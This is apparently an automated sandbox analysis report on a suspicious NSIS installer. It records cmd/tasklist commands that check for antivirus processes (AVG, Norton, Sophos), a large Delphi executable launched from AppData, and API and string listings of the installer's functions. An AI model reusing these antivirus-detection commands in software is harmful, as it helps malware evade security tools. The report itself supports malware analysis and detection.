Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff6211d0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff7a9490000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff7333c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff6211d0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff71e800000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff7333c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff6211d0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff7a9490000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	22:25:17
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Imagebase:	0x1f0000
File size:	1'063'239'551 bytes
MD5 hash:	C12ED31F29EF510393AE36661F44F102
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	26

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427176,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

NSIS Error, xrefs: 0040390E
_?=, xrefs: 00403A90
\Temp, xrefs: 00403A47
/D=, xrefs: 004039D2
NCRC, xrefs: 004039A8
SeShutdownPrivilege, xrefs: 00403C42
~nsu.tmp, xrefs: 00403B23
Error launching installer, xrefs: 00403AA9

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: "%s" (%d), xrefs: 004017BF
BringToFront, xrefs: 004016BD
Aborting: "%s", xrefs: 0040161D
CreateDirectory: "%s" created, xrefs: 00401849
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Call: %d, xrefs: 0040165A
Rename: %s, xrefs: 004018F8
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename failed: %s, xrefs: 0040194B
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes failed., xrefs: 004017A1
Sleep(%d), xrefs: 0040169D
detailprint: %s, xrefs: 00401679
Jump: %d, xrefs: 00401602
Rename on reboot: %s, xrefs: 00401943

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
.exe, xrefs: 00405A69
.DEFAULT\Control Panel\International, xrefs: 004059C5
@jG, xrefs: 00405AF2
RichEd20, xrefs: 00405BC9
RichEdit, xrefs: 00405BF0
_Nb, xrefs: 00405AFD
"F, xrefs: 00405A4B
RichEdit20A, xrefs: 00405BE2, 00405BE7
RichEd32, xrefs: 00405BD4
F, xrefs: 00405A22

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

